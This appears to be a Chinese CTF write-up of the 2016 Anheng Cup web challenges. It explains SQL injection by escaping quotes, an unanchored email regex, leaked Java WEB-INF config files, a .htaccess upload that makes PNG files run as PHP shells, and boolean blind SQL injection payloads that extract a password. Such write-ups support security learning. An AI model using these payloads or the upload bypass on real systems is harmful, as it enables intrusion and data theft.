2016-安恒杯-web
exam result(web100)
sql语句应该是
select * from xxx where name='' and school='' and area='' and score='';
可以通过在name那里注入一个\
,所以aaaaaa那部分是可控进入sql并被执行的。
select * from xxx where name='\' and school='aaaaaa' and area='' and score='';
sendflag(web100)
页脚有这样一段js
<script type="text/javascript">
$(document).ready(function() {
$("#email").keyup(function() {
if ($("#email").val().match(/[A-Za-z0-9]{5,}@eis\.ctf/)) {
$("#submit").prop('disabled', false);
} else {
$("#submit").prop('disabled', true);
}
});
});
</script>
没有$
结尾,所以域名还是可控的,只要存在匹配正则就可以了。
Forbidden(web100)
url:http://202.120.7.206:7734/
打开后显示403,于是拿出扫描器看能不能扫出点什么东西来,后面扫出来了个/WEB-INF/web.xml
http://202.120.7.206:7734/WEB-INF/web.xml
然后看见了有应用的配置,于是访问看看
http://202.120.7.206:7734/WEB-INF/classes/applicationContext.xml
这里注入了一个数据库连接的bean,访问就得到了flag
http://202.120.7.206:7734/WEB-INF/classes/hibernate.cfg.xml
这道题主要考察了配置文件泄漏,查找敏感信息
eis cloud(web300)
先上传一个.htaccess,将此目录的php解析打开。
AddType application/x-httpd-php .png
php_flag engine 1
再上传的png为shell就可以被当成php执行。
/var/www/flag.txt
上传目录已经禁止PHP执行,Flag放在这里绝对安全_
EIS{S3cur1ty_C0nf_Easi1y_0verr1dd3n}
login(web300)
嗯,最坑的一题,考点不难,坑在手动上面。
登录的时候,做了按键的监听以及还有一个nonce的token,导致只能复制exp到输入框以及没法直接放burp跑。
PS: 很疑惑这个token的生成以及验证,并没有cookie,如果用户名相同,可以进行重复发包。
$(document).keydown(function(e) {
if (e.keyCode == 222 || e.keyCode == 188 || e.keyCode == 190) {
alert("Illegal character");
return false;
}
});
function getnonce() {
var text = "";
var possible = "0123456789abcdef";
for (var i = 0; i < 40; i++)
text += possible.charAt(Math.floor(Math.random() * possible.length));
return text;
}
$('#submit').click(function() {
this._nonce = getnonce();
});
密码长度27位:
a' or length(password)=27#
可显字符的ascii是33 - 126,利用二分法,一位位去手动出数据。
a' or ascii(mid(password,1,1))>1#
最后可以得到密码是MySuperL0ng&&SecurePa$$word
know it then do it